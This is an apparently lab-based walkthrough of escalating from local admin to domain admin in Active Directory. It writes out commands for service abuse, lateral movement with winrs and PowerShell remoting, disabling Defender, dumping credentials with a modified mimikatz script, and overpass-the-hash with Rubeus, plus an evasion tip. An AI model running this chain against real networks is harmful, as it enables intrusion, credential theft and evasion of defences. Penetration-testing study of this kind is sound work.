Active Directory (AD) | Exploiting Local Admin to Domain Admin

Step 1: Check for Privilege Escalation Paths

Tools Used: PowerView. This step ensures you can escalate your privileges on the current machine to gain local admin rights. Start by checking for any privilege escalation paths. If any services can be abused, add your domain user to the local admin group.

The Invoke-AllChecks function gathers information on the Active Directory environment, accessible network shares, local administrators, active user sessions, domain trust relationships, and services permissions to aid in network reconnaissance

Invoke-AllChecks

Invoke-AllChecks

Step 2: Abusing Services

Tools Used: PowerView. After running Step 1, you will have identified a few services that can be abused. We can exploit these services to add our current domain user to the local Administrators group.

Adding a user to the local Administrators group allows them to perform administrative tasks such as installing software, changing system settings, and accessing all files on the system, which can be crucial for further exploitation and maintaining control over the machine.

Invoke-ServiceAbuse
Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'dcorp\studentx' -Verbose

Now, our user is a local admin !

Step 3: [Lateral Movement] Identifying Additional Machines for Local Admin Access

Tools Used: Find-PSRemotingLocalAdminAccess.ps1. After gaining local admin rights on one machine, identifying other machines where you have local admin access helps in expanding your control over the network. This can give you access to more resources, data, or higher-privilege accounts. So, you have to identify any computers/machines in the domain where our user has local administrative access.

Find-PSRemotingLocalAdminAccess

Userx has administrative access on dcorp-adminsrv and on the student machine

Step 4: [Lateral Movement] Exploiting Remote Access

After identifying machines with local admin access, we can remotely connect using tools like winrs and PowerShell Remoting (Enter-PSSession) because local admin rights grant us the necessary permissions to access and control these machines remotely over the network.

winrs Remoting

winrs -r:dcorp-adminsrv cmd
set username
set computername

PowerShell Remoting

Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local

Step 5: Derivative Local Admin

Utilize derivative local admin access gained in Step 3 and 4 to identify machines with active domain admin sessions. Exploit these sessions to escalate privileges and potentially gain Domain Admin access, utilizing techniques such as token stealing or credential extraction.

Tools Used: Invoke-Mimi. To dump hashes or extract credentials from dcorp-adminsrv, we will use Invoke-Mimi.

Disable Windows Defender on the target machines

Set-MpPreference -DisableRealtimeMonitoring $true -Verbose

Disable AMSI on the target machines

$sess = New-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local
Invoke-Command -ScriptBlock {Set-MpPreference -DisableIOAVProtection $true} -Session $sess

Using Dot Sourcing in PowerShell Scripts | Invoke-Mimi

In environments with strict security policies or when PowerShell operates in Constrained Language Mode, dot sourcing (.) scripts like Invoke-Mimi.ps1 may be restricted.

So, we must modify Invoke-Mimi.ps1 to include the function call in the script itself and transfer the modified script (Invoke-MimiEx.ps1) to the target server. Here is step-by-step :

• Create a copy of Invoke-Mimi.ps1 and rename it to Invoke-MimiEx.ps1.
• Open Invoke-MimiEx.ps1 in PowerShell ISE (Right click on it and click Edit).
• Add “Invoke-Mimi -Command ‘“sekurlsa::ekeys”’ “ (without quotes) to the end of the file.
• Copy the Invoke-MimiEx.ps1 to the target machines

  Copy-Item C:\AD\Tools\Invoke-MimiEx.ps1 \\dcorp-adminsrv.dollarcorp.moneycorp.local\c$\'Program Files'
  

• Run the modified mimikatz script

  Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local'
  .\Invoke-MimiEx.ps1
  

  

Here we find the credentials of the srvadmin, appadmin and websvc users.

Step 6: OverPass-the-Hash | Obtaining TGT using Rubeus

Understanding Ticket Granting Tickets (TGTs)

Ticket Granting Tickets (TGTs) are a fundamental part of the Kerberos authentication protocol. When a user successfully authenticates to the Key Distribution Center (KDC), they receive a TGT. This TGT is a form of credential that allows the user to request service tickets (TGS) for accessing specific network services and resources within the Kerberos realm. It contains encrypted information about the user’s identity, session key, and other relevant data required for subsequent authentication.

Steps to Obtain TGT with Rubeus

• Encode arguments (like asktgt) using tools such as ArgSplit.bat to ensure secure transmission and evasion of detection.
• Use Loader.exe to initiate Rubeus with the encoded arguments (/args %Pwn%) to request a TGT.

  C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn% /user:srvadmin
  /aes256:145019659e1da3fb150ed94d510eb770276cfbd0cbd834a4ac331f2effe1dbb4
  /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
  

  

• This retrieves a TGT for the specified user (srvadmin), enabling further operations within the Kerberos realm

• The new process that starts has srvadmin privileges. Check if srvadmin has admin privileges on any other machine.